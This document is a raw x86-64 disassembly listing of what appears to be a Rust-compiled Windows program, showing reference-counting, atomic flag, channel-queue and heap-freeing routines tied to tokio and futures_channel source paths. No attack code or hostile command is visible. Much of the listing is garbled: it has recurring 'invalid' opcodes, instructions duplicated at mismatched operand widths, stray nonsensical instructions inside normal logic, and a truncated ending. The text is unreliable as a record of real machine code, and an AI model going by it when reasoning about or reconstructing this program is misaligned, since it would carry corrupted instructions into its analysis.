jne 0x1400660b5
test al, 1
jne 0x140065f76
test al, 1
je 0x140065fb2
jmp 0x140065fe7
mov rax, qword [r12]
mov rcx, qword [r12 + 8]
call qword [rax + 0x10]
mov qword [rsi + 8], 6
jmp 0x1400660bd
mov rcx, qword [r14 + 0x28]
cmp rcx, qword [r12 + 8]
jne 0x140065f8b
mov rcx, qword [r14 + 0x20]
cmp rcx, qword [r12]
je 0x140065f54
mov rax, qword [r14 + 0x30]
nop
mov rcx, rax
and rcx, 0xfffffffffffffffe
lock cmpxchg qword [r14 + 0x30], rcx
jne 0x140065f90
test al, 2
jne 0x14006606f
mov rax, qword [r14 + 0x20]
mov rcx, qword [r14 + 0x28]
call qword [rax + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [r14 + 0x20], rax
mov qword [r14 + 0x28], rdx
mov rax, qword [r14 + 0x30]
nop word [rax + rax]
mov rcx, rax
or rcx, 1
lock cmpxchg qword [r14 + 0x30], rcx
jne 0x140065fd0
test al, 2
jne 0x140066075
test bpl, bpl
je 0x1400660ab
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140066044
test eax, eax
jne 0x1400660ab
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], 1
mov byte [rax + 0x11d], r15b
mov qword [rsi + 8], 6
jmp 0x1400660bd
lock or qword [r14 + 0x30], 1
mov rbx, qword [r14 + 0x38]
mov r15, qword [r14 + 0x40]
mov qword [r14 + 0x40], 5
cmp r15, 5
je 0x1400660b5
lea rdx, [r14 + 0x48]
lea rcx, [rsp + 0x50]
mov r8d, 0xf8
call fcn.140106530
cmp r15, 5
je 0x1400660b5
cmp r15, 6
jne 0x1400660cf
mov qword [rsi + 8], 6
jmp 0x1400660bd
mov qword [rsi + 8], 5
add rsp, 0x240
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, [rsp + 0x148]
lea rdx, [rsp + 0x50]
mov r8d, 0xf8
call fcn.140106530
lock dec qword [r14]
jne 0x1400660f5
mov rcx, qword [rdi]
call fcn.140065830
mov qword [rdi], 0
mov qword [rsi], rbx
mov qword [rsi + 8], r15
add rsi, 0x10
lea rdx, [rsp + 0x148]
mov r8d, 0xf8
mov rcx, rsi
call fcn.140106530
jmp 0x1400660bd
lea rax, [0x14014f438]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
lea rcx, [rsp + 0x20]
call fcn.140108560
int3
cmp qword [rsi], 0
je 0x14006640c
mov rcx, qword [rsi + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rsi + 0x70]
lock dec qword [rax]
jne 0x14006642b
mov rcx, qword [rsi + 0x70]
call fcn.140052260
cmp byte [rsi + 0x68], 2
jne 0x14006645f
add rsp, 0x20
pop rsi
ret
movabs al, byte [0xf028468b48fffd34]
dec qword [rax]
jne 0x1400663fc
mov rcx, qword [rsi + 0x28]
mov rdx, qword [rsi + 0x30]
call fcn.140004950
cmp qword [rsi], 0
jne 0x140066402
jmp 0x14006640c
mov rax, qword [rsi + 0x48]
mov rdx, qword [rsi + 0x50]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x58]
add rsi, 0x60
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp rax
test esi, esi
je 0x140066651
mov rdi, qword [r13 + 0x58]
mov rbx, qword [r13 + 0x70]
test rbx, rbx
je 0x14006661f
movdqa xmm0, xmmword [rdi]
pmovmskb eax, xmm0
not eax
lea r14, [rdi + 0x10]
mov r15, rdi
jmp 0x1400665f0
tzcnt ecx, eax
neg rcx
lea rcx, [rcx + rcx*8]
lea rcx, [r15 + rcx*8]
iretd
lea ebp, [rax - 1]
and ebp, eax
call fcn.140066860
mov eax, ebp
dec rbx
dec ebx
iretd
dec ebx
je 0x14006661f
test ax, ax
jne 0x1400665d0
nop word cs:[rax + rax]
nop dword [rax + rax]
movdqa xmm0, xmmword [r14]
pmovmskb eax, xmm0
add r15, 0xfffffffffffffb80
add r14, 0x10
cmp eax, 0xffff
je 0x140066600
not eax
jmp 0x1400665d0
lea rax, [rsi + 1]
mov ecx, 0x48
mul rcx
add rax, 0xf
and rax, 0xfffffffffffffff0
add rsi, rax
cmp rsi, 0xffffffffffffffef
je 0x140066651
sub rdi, rax
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r12, qword [r13 + 0x90]
test r12, r12
je 0x140066777
mov rax, qword [r13 + 0x88]
mov qword [rsp + 0x20], rax
mov r13, qword [r13 + 0xa0]
add byte [rax], al
add byte [rbp - 0x7b], cl
in eax, dx
add byte [rax], al
add byte [rbp - 0x7b], cl
in eax, dx
je 0x140066745
mov rdi, qword [rsp + 0x20]
movdqa xmm0, xmmword [rdi]
pmovmskb r15d, xmm0
not r15d
lea rbp, [rdi + 0x10]
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400666d1
lea r14d, [r15 - 1]
and r14d, r15d
dec r13
lea rcx, [rbx - 0x28]
mov rax, qword [rbx - 0x40]
mov rdx, qword [rbx - 0x38]
mov r8, qword [rbx - 0x30]
call qword [rax + 0x10]
add rbx, 0xffffffffffffffe0
mov rcx, rbx
call fcn.140066900
mov r15d, r14d
test r13, r13
je 0x140066745
test r15w, r15w
jne 0x140066701
nop word [rax + rax]
movdqa xmm0, xmmword [rbp]
pmovmskb r15d, xmm0
add rdi, 0xfffffffffffffb00
add rbp, 0x10
cmp r15d, 0xffff
je 0x1400666e0
not r15d
tzcnt eax, r15d
neg rax
lea rax, [rax + rax*4]
shl rax, 4
lea rbx, [rdi + rax]
cmp byte [rdi + rax - 0x50], 2
jb 0x1400666a0
mov r14, qword [rbx - 0x48]
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call rsi
jmp 0x1400666a0
lea rax, [r12 + 1]
mov ecx, 0x50
mul rcx
add r12, rax
cmp r12, 0xffffffffffffffef
mov r13, qword [rsp + 0x28]
je 0x140066777
mov r8, qword [rsp + 0x20]
sub r8, rax
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [r13 + 0xc0]
test rsi, rsi
je 0x1400667c9
mov bl, 1
mov al, 1
xchg byte [rsi + 0x40], al
mov al, 1
xchg byte [rsi + 0x20], al
test al, al
jne 0x1400667b0
mov rax, qword [rsi + 0x10]
mov eax, dword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
mov qword [rsi + 0x10], 0
xor edx, edx
xchg byte [rsi + 0x20], dl
test rax, rax
je 0x1400667b0
call qword [rax + 8]
xchg byte [rsi + 0x38], bl
test bl, bl
je 0x14006682c
lock dec qword [rsi]
jne 0x1400667c9
mov rcx, qword [r13 + 0xc0]
call fcn.140034b00
mov rax, qword [r13 + 0x18]
test rax, rax
je 0x1400667e5
lock dec qword [rax]
jne 0x1400667e5
mov rcx, qword [r13 + 0x18]
mov rdx, qword [r13 + 0x20]
call fcn.140004950
mov rax, qword [rsp + 0x30]
mov r8, qword [rax]
cmp r8, 0xffffffffffffffff
je 0x14006681a
lock dec qword [r8 + 8]
jne 0x14006681a
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x30]
mov qword [rsi + 0x28], 0
test rax, rax
je 0x140066844
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x38], al
lock dec qword [rsi]
je 0x1400667bd
jmp 0x1400667c9
int3
mov eax, ecx
cmovb r8, rdx
sub rax, r8
mov r15, rcx
sub r15, rax
invalid
lea r12, [rax + r14]
lea esp, [rax + rsi]
invalid
lea esp, [rax + rsi]
cmp r15, r14
cmovb r12, rcx
mov rbx, r14
sub rbx, r15
cmovb rbx, rdx
sub r12, rax
jne 0x140066a3a
cmp r15, r14
mov r15, qword [rsp + 0x20]
jae 0x1400669fe
xor r14d, r14d
jmp 0x140066988
inc r14
cmp rbx, r14
je 0x1400669fe
mov rsi, qword [rdi + r14*8]
mov al, 1
xchg byte [rsi + 0x80], al
mov al, 1
xchg byte [rsi + 0x60], al
test al, al
jne 0x1400669bd
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x50], 0
push rax
add byte [rax], al
add byte [rax], al
push rax
add byte [rax], al
add byte [rax], al
mov edx, 0
xchg byte [rsi + 0x60], dl
test rax, rax
je 0x1400669bd
invalid
add edi, edi
push rax
or byte [rax + 0x78468601], dh
call qword [rax + 8]
mov al, 1
xchg byte [rsi + 0x78], al
test al, al
je 0x1400669d0
lock dec qword [rsi]
dec dword [rsi]
invalid
jne 0x140066980
jmp 0x1400669f3
mov rax, qword [rsi + 0x68]
mov rcx, qword [rsi + 0x70]
mov qword [rsi + 0x68], 0
add byte [rax], al
add byte [rax], al
test rax, rax
je 0x1400669e8
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x78], al
js case.0x140031ef2.1437
dec qword [rsi]
js case.0x140031ef2.1437
dec qword [rsi]
jne 0x140066980
mov rcx, qword [rdi + r14*8]
call fcn.140066af0
hlt
add byte [rax], al
add bl, ch
invalid
hlt
cmp qword [r15], 0
je 0x140066a28
mov r8, qword [r15 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r13, [rdi + rax*8]
xor ebp, ebp
jmp 0x140066a5c
inc rbp
cmp r12, rbp
je 0x140066963
mov rsi, qword [r13 + rbp*8]
mov al, 1
xchg byte [rsi + 0x80], al
mov al, 1
xchg byte [rsi + 0x60], al
test al, al
jne 0x140066a92
invalid
and byte [rax - 0x75], cl
push rax
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x50], 0
mov edx, 0
xchg byte [rsi + 0x60], dl
test rax, rax
je 0x140066a92
call qword [rax + 8]
mov al, 1
xchg byte [rsi + 0x78], al
test al, al
je 0x140066ab0
lock dec qword [rsi]
jne 0x140066a50
jmp 0x140066ad7
mov rax, qword [rsi + 0x68]
mov rcx, qword [rsi + 0x70]
mov qword [rsi + 0x68], 0
test rax, rax
je 0x140066ac8
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x78], al
lock dec qword [rsi]
jne 0x140066a50
mov rcx, qword [r13 + rbp*8]
call fcn.140066af0
jmp 0x140066a50
cmp esi, 0xffffffff
je 0x140066b4c
lock dec qword [rsi + 8]
jne 0x140066b4c
invalid
sbb byte [rax - 0x75], cl
or eax, 0x11b725
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
sub rsp, 0x20
mov rsi, rcx
mov rdi, qword [rcx + 0x18]
test rdi, rdi
je 0x140066ba0
mov rbx, qword [rsi + 0x20]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
cmp dword [rbx + 8], 0
cmp dword [rbx + 8], 0
je 0x140066ba0
cmp qword [rbx + 0x10], 0x11
jb 0x140066b8e
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x28]
lock dec qword [rax]
jne 0x140066bb3
mov rcx, qword [rsi + 0x28]
call fcn.1400398e0
cmp byte [rsi + 0x10], 2
jne 0x140066c24
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x140066bca
mov rcx, qword [rsi]
call fcn.140066cf0
mov rdi, qword [rsi + 8]
lock dec qword [rdi + 0x1c8]
jne 0x140066cc1
lea rcx, [rdi + 0x80]
mov edx, 1
add byte [rax], al
add byte [rax], al
lock xadd qword [rdi + 0x88], rdx
call fcn.140065900
movabs rcx, 0x200000000
lock or qword [rax + 0x2310], rcx
mov rax, qword [rdi + 0x110]
nop
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdi + 0x110], rcx
jne 0x140066c10
jmp 0x140066c92
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x140066c35
mov rcx, qword [rsi]
call fcn.140066cf0
mov rdi, qword [rsi + 8]
lock dec qword [rdi + 0x1c8]
jne 0x140066cc1
lea rcx, [rdi + 0x80]
mov edx, 1
lock xadd qword [rdi + 0x88], rdx
call fcn.140065900
movabs rcx, 0x200000000
lock or qword [rax + 0x2310], rcx
mov rax, qword [rdi + 0x110]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdi + 0x110], rcx
jne 0x140066c80
test rax, rax
test eax, eax
jne 0x140066cc1
mov rax, qword [rdi + 0x100]
mov rcx, qword [rdi + 0x108]
mov ecx, dword [rdi + 0x108]
mov ecx, dword [rdi + 0x108]
mov qword [rdi + 0x100], 0
lock and qword [rdi + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x140066cc1
call qword [rax + 8]
lock dec qword [rdi]
jne 0x140066cda
add rsi, 8
mov rcx, qword [rsi]
add rsp, 0x20
add esp, 0x20
or byte [rax - 0x75], cl
invalid
add esp, 0x20
pop rbx
pop rdi
pop rsi
jmp 0x140066d40
add byte [rax], al
nop
add rsp, 0x20
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
ret
int3
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x268
invalid
sub esp, 0x268
add byte [rax - 0x73], cl
mov ecx, 0x80
lea rdi, [rcx + 0x80]
mov qword [rsp + 0x28], rcx
and al, 0x28
lea rbx, [rcx + 0x1a0]
lea r14, [rsp + 0x38]
movabs al, byte [0x3824748d4c000001]
lea r15, [rsp + 0x150]
lea r12, [0x1401429d3]
lea r13, [rsp + 0x30]
lea rbp, [rsp + 0x48]
nop word cs:[rax + rax]
mov rcx, r15
mov rdx, rbx
mov r8, rdi
call fcn.140066ee0
mov rsi, qword [rsp + 0x250]
lea rax, [rsi - 3]
cmp rax, 1
jbe 0x140066e34
cmp esi, 2
je 0x140066d90
mov r8d, 0x100
lea rcx, [rsp + 0x50]
mov rdx, r15
call fcn.140106530
mov qword [rsp + 0x30], rsi
lea rax, [rsp + 0x258]
movups xmm0, xmmword [rax]
movups xmmword [r14], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140066ec9
mov rsi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
mov r8d, 0x11
mov rcx, rax
mov rdx, r12
call fcn.140065c80
mov qword [rsp + 0x48], rsi
mov rcx, r13
mov rdx, rbp
call fcn.140067100
jmp 0x140066d90
mov rbx, qword [rsp + 0x28]
mov r8, qword [rbx + 0x1a8]
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
nop word [rax + rax]
mov rdi, qword [r8 + 0x2308]
mov rcx, qword [0x140182260]
xor edx, edx
call rsi
mov r8, rdi
test rdi, rdi
jne 0x140066e50
mov rax, qword [rbx + 0x100]
test rax, rax
je 0x140066e80
mov rcx, qword [rbx + 0x108]
call qword [rax + 0x18]
cmp rbx, 0xffffffffffffffff
je 0x140066eb4
lock dec qword [rbx + 8]
jne 0x140066eb4
mov r8, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x268
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x268
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 8
mov edx, 0x38
call fcn.1401082c0
int3
mov word [rax + rdx], fs
add dword [rax], eax
add al, ch
pop rcx
invalid
pop r15
ret
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x98
mov rsi, rcx
invalid
mov rax, qword [rcx]
mov eax, dword [rcx]
invalid
mov eax, dword [rcx]
test rax, rax
je 0x1400675dc
invalid
add byte [rbx - 0x7af0fe08], al
rol byte [rcx], cl
add byte [rax], al
cmp eax, 1
jne 0x1400675fd
mov rdx, qword [rsi + 0x18]
xor eax, eax
xchg qword [rdx + 0x10], rax
test rax, rax
je 0x140067472
mov rax, qword [rdx + 0x28]
nop
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdx + 0x28], rcx
jne 0x140067440
test rax, rax
jne 0x140067472
mov rax, qword [rdx + 0x18]
mov rcx, qword [rdx + 0x20]
mov qword [rdx + 0x18], 0
lock and qword [rdx + 0x28], 0xfffffffffffffffd
test rax, rax
je 0x140067472
call qword [rax + 8]
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x140067485
mov rcx, qword [rsi + 0x18]
call fcn.140066cf0
mov rbx, qword [rsi + 0x10]
test rbx, rbx
test ebx, ebx
test ebx, ebx
je 0x140067922
mov rax, qword [rbx + 0x38]
test rax, rax
jns 0x1400674aa
invalid
cmovs edi, dword [rax - 1]
invalid
movabs rax, 0x7fffffffffffffff
lock and qword [rbx + 0x38], rax
mov qword [rsp + 0x30], rsi
lea rdi, [rsi + 0x10]
add rbx, 0x20
mov r12b, 1
mov r13, qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop word cs:[rax + rax]
mov rcx, rbx
call fcn.140035bf0
test rax, rax
je 0x140067644
mov r14, rax
mov r15, rax
add r15, 0x10
xor eax, eax
lock cmpxchg byte [r14 + 0x10], r12b
jne 0x14006758d
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400675a8
xor ebp, ebp
movzx eax, byte [r14 + 0x11]
test al, al
jne 0x140067a92
mov byte [r14 + 0x28], 0
mov rax, qword [r14 + 0x18]
mov rcx, qword [r14 + 0x20]
mov qword [r14 + 0x18], 0
test rax, rax
je 0x140067538
call qword [rax + 8]
test bpl, bpl
jne 0x14006754c
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400675c5
xor eax, eax
xchg byte [r15], al
cmp al, 2
je 0x140067570
lock dec qword [r14]
dec dword [rsi]
jne 0x1400674d0
jmp 0x140067580
mov rcx, r15
call r13
call rbp
call rbp
lock dec qword [r14]
jne 0x1400674d0
mov rcx, r14
call fcn.140066cf0
jmp 0x1400674d0
mov rcx, r15
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14006750c
invalid
invalid
invalid
invalid
call fcn.1401105f0
mov ebp, eax
xor bpl, 1
movzx eax, byte [r14 + 0x11]
mov dh, 0x46
adc dword [rax + rax*8 - 0xa47bf1], eax
invalid
invalid
mov dh, 0x46
adc dword [rax + rax*8 - 0xa47bf1], eax
invalid
jmp 0x140067a92
add al, ch
nop
or al, byte [rax]
call fcn.1401105f0
test al, al
jne 0x14006754c
mov byte [r14 + 0x11], 1
jmp 0x14006754c
mov rax, qword [rsi + 8]
test rax, rax
je 0x1400679a1
lea rcx, [rsi + 0x20]
mov rdx, qword [rsi + 0x10]
mov r8, qword [rsi + 0x18]
call qword [rax + 0x10]
jmp 0x1400679a1
mov rax, qword [rsi + 8]
test rax, rax
je 0x140067615
or byte [rax - 0x7b], r9b
sal byte [rdi + rcx - 0x10], 0x48
dec dword [rax]
lock dec qword [rax]
jne 0x140067615
lea rcx, [rsi + 8]
call fcn.1400055f0
lea rdi, [rsi + 0x18]
mov rcx, rdi
call fcn.14002d910
mov rcx, rdi
call fcn.140026d50
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x1400679a1
mov rcx, rdi
call fcn.140005020
jmp 0x1400679a1
mov r12, qword [rdi]
test r12, r12
mov rsi, qword [rsp + 0x30]
je 0x140067922
lea rsi, [rsp + 0x40]
mov rbx, qword [sym.imp.kernel32.dll_SwitchToThread]
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [r12 + 0x18]
sbb byte [rcx - 0x75], cl
sub byte [r8 - 0x7b], r9b
invalid
je 0x1400676ae
sbb byte [rcx - 0x75], cl
sub byte [r8 - 0x7b], r9b
sal byte [rax + rdi - 0x15], 0x50
jmp 0x1400676c8
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [rax + 0x10]
mov r12, qword [rdi]
test r12, r12
je 0x140067907
nop word cs:[rax + rax]
mov r15, qword [r12 + 0x18]
mov rax, qword [r15 + 0x28]
test rax, rax
jne 0x1400676c8
mov rax, qword [r12 + 0x10]
cmp rax, r15
je case.0x140018f24.2168
call rbx
mov r15, qword [r12 + 0x18]
mov rax, qword [r15 + 0x28]
test rax, rax
je 0x1400676ae
mov qword [r12 + 0x18], rax
cmp qword [r15], 0
jne 0x140067add
cmp qword [rax], 0
je 0x140067ac5
movups xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov qword [rax], 0
cmp qword [r15], 0
je 0x140067789
mov rax, qword [r15 + 8]
test rax, rax
je 0x140067780
lea rcx, [r15 + 0x20]
lea ecx, [rdi + 0x20]
mov rdx, qword [r15 + 0x10]
mov r8, qword [r15 + 0x18]
call qword [rax + 0x10]
jmp 0x140067789
mov rax, qword [rdi]
mov rax, qword [rax + 0x38]
test rax, rax
je 0x1400678ea
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x38], 2
mov rax, qword [rdi]
test rax, rax
je 0x140067b28
mov rax, qword [rax + 0x38]
test rax, rax
je 0x140067a45
call rbx
mov rax, qword [rsp + 0x38]
cmp rax, 2
je 0x14006768a
test byte [rsi], ah
invalid
invalid
invalid
test byte [rsi], ah
invalid
test rax, rax
je 0x14006768a
invalid
invalid
invalid
mov rax, qword [rsp + 0x40]
and al, 0x40
test rax, rax
jne 0x140067678
invalid
invalid
invalid
jmp 0x14006787c
lea rcx, [r15 + 0x10]
call fcn.140035b40
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call rbp
mov r12, qword [rdi]
test r12, r12
je 0x140067851
lea rcx, [r12 + 0x20]
call fcn.140035bf0
test rax, rax
je 0x14006784b
mov r15, rax
mov r14, r13
mov r12, rax
add r12, 0x10
xor eax, eax
mov cl, 1
lock cmpxchg byte [r15 + 0x10], cl
jne 0x1400678a9
mov r13, rbp
mov rax, qword [0x140182308]
mov eax, dword [0x140182308]
mov eax, dword [0x140182308]
shl rax, 1
test rax, rax
ror byte [rdi], 0x85
int 0
add byte [rax], al
ror byte [rdi], 0x85
int 0
add byte [rax], al
xor ebp, ebp
movzx eax, byte [r15 + 0x11]
test al, al
jne 0x140067af5
mov byte [r15 + 0x28], 0
mov rax, qword [r15 + 0x18]
mov rcx, qword [r15 + 0x20]
mov qword [r15 + 0x18], 0
sbb byte [r8], r8b
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je case.0x140031ef2.1446
sbb byte [r8], r8b
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbx + rax - 1], 0x50
or byte [rax - 0x7c], al
invalid
invalid
call qword [rax + 8]
test bpl, bpl
in eax, dx
jne 0x14006782d
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400678d3
xor eax, eax
xchg byte [r12], al
cmp al, 2
mov rbp, r13
mov r13, r14
je 0x14006788b
lock dec qword [r15]
je 0x140067897
mov r12, qword [rdi]
test r12, r12
je 0x140067851
lock dec qword [r12 + 0x38]
mov qword [rsp + 0x38], 1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rax, qword [rsp + 0x40]
test rax, rax
jne 0x140067678
lea rcx, [rsp + 0x48]
call fcn.140035b40
jmp 0x14006768a
invalid
dec dword [rcx + rcx*4 - 0x1f]
mov rcx, r12
call r13
lock dec qword [r15]
jne 0x140067843
mov rcx, r15
call fcn.140066cf0
mov r12, qword [rdi]
test r12, r12
jne 0x14006784b
jmp 0x140067851
mov rcx, r12
call fcn.140110530
jmp 0x1400677d3
call fcn.1401105f0
mov ebp, eax
xor bpl, 1
movzx eax, byte [r15 + 0x11]
test al, al
je 0x1400677f8
jmp 0x140067af5
call fcn.1401105f0
test al, al
jne 0x14006782d
mov byte [r15 + 0x11], 1
jmp 0x14006782d
mov rax, qword [rdi]
test rax, rax
je 0x140067900
lock dec qword [rax]
jne 0x140067900
mov rcx, rdi
call fcn.1400353d0
invalid
cld
invalid
invalid
mov qword [rdi], 0
mov rsi, qword [rsp + 0x30]
mov rax, qword [rdi]
test rax, rax
je 0x140067922
lock dec qword [rax]
jne 0x140067922
mov rcx, rdi
call fcn.1400353d0
mov rdi, qword [rsi + 0x20]
mov bl, 1
mov al, 1
xchg byte [rdi + 0xa8], al
mov al, 1
xchg byte [rdi + 0x88], al
test al, al
jne 0x14006795f
mov rax, qword [rdi + 0x78]
mov rcx, qword [rdi + 0x80]
mov qword [rdi + 0x78], 0
xor edx, edx
xchg byte [rdi + 0x88], dl
test rax, rax
test eax, eax
je 0x14006795f
call qword [rax + 0x18]
xchg byte [rdi + 0xa0], bl
test bl, bl
jne 0x140067992
mov rax, qword [rdi + 0x90]
mov rcx, qword [rdi + 0x98]
mov qword [rdi + 0x90], 0
xor edx, edx
xchg byte [rdi + 0xa0], dl
test rax, rax
je 0x140067992
call qword [rax + 8]
lock dec qword [rdi]
jne 0x1400679a1
mov rcx, qword [rsi + 0x20]
call fcn.140036cf0
mov rsi, qword [rsi + 0x28]
test rsi, rsi
je 0x140067a30
mov rax, qword [rsi]
cmp rax, 2
je 0x140067a1e
test rax, rax
mov rdi, qword [rsi + 8]
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
jne 0x1400679eb
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
xor edx, edx
xchg byte [rdi + 0x20], dl
test rax, rax
je 0x1400679eb
call qword [rax + 0x18]
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x140067a0f
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
xor edx, edx
xchg byte [rdi + 0x38], dl
test rax, rax
je 0x140067a0f
call qword [rax + 8]
lock dec qword [rdi]
jne 0x140067a1e
mov rcx, qword [rsi + 8]
call fcn.140034b00
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x38]
cmp rax, 2
mov rsi, qword [rsp + 0x30]
je 0x14006790c
test rax, rax
je 0x14006790c
mov rax, qword [rsp + 0x40]
test rax, rax
invalid
je 0x140067a83
sal byte [rdi + rdx + 0x48], 0x8b
push rsp
and al, 0x48
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [rax + 0x10]
jmp 0x14006790c
lea rcx, [rsp + 0x48]
call fcn.140035b40
jmp 0x14006790c
mov qword [rsp + 0x38], r15
mov byte [rsp + 0x40], bpl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013fae8]
lea r8, [rsp + 0x38]
mov edx, 0x2b
call fcn.1401088e0
or al, byte [rax]
lea rcx, str.assertion_failed:__next_.value.is_some__
lea r8, [0x14013e348]
mov edx, 0x29
call fcn.140108630
lea rcx, str.assertion_failed:__tail_.value.is_none__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscqueue.rs
lea r8, [0x14013e300]
mov edx, 0x29
call fcn.140108630
or al, byte [rax]
mov qword [rsp + 0x60], r12
mov byte [rsp + 0x68], bpl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
invalid
invalid
add eax, 0xd66a2
or ax, 0x4800
mov dword [rsp + 0x20], eax
or eax, 0x44894800
and al, 0x20
mov qword [rsp + 0x20], rax
